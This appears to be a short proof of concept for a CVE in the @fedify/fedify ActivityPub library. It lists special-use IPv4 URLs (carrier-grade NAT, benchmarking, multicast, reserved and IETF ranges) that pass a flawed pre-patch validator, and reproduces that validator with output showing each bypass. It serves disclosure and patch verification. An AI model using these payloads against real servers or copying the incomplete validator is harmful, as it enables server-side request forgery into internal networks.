CVE-2026-50131: @fedify/fedify SSRF Mitigation Bypass via Incomplete IPv4 Validation

// Craft a malicious ActivityPub object whose @id or media URL
// points at a special-use range that bypasses isValidPublicIPv4Address().
// All of the following pass the pre-patch validator as "public":

// Carrier-grade NAT (RFC 6598) - 100.64.0.0/10
const bypassCGNAT = "http://100.64.0.1/internal";

// Benchmarking network (RFC 2544) - 198.18.0.0/15
const bypassBench = "http://198.18.0.1/internal";

// Multicast - 224.0.0.0/4
const bypassMulticast = "http://224.0.0.1/internal";

// Reserved - 240.0.0.0/4
const bypassReserved = "http://240.0.0.1/internal";

// IETF protocol assignments - 192.0.0.0/24
const bypassIETF = "http://192.0.0.1/internal";

// Attacker delivers a Follow/Note whose `id` or `url` is one of these.
// Fedify calls validatePublicUrl(), which calls isValidPublicIPv4Address(),
// which returns true for all of the above, so the fetch proceeds.

// Verification with pre-patch logic (matches advisory PoC):
function isValidPublicIPv4AddressVuln(address) {
  const parts = address.split(".");
  const first = parseInt(parts[0]);
  if (first === 0 || first === 10 || first === 127) return false;
  const second = parseInt(parts[1]);
  if (first === 169 && second === 254) return false;
  if (first === 172 && second >= 16 && second <= 31) return false;
  if (first === 192 && second === 168) return false;
  return true;
}

console.log(isValidPublicIPv4AddressVuln("100.64.0.1"));  // true  (bypass)
console.log(isValidPublicIPv4AddressVuln("198.18.0.1"));  // true  (bypass)
console.log(isValidPublicIPv4AddressVuln("224.0.0.1"));   // true  (bypass)
console.log(isValidPublicIPv4AddressVuln("240.0.0.1"));   // true  (bypass)
console.log(isValidPublicIPv4AddressVuln("192.0.0.1"));   // true  (bypass)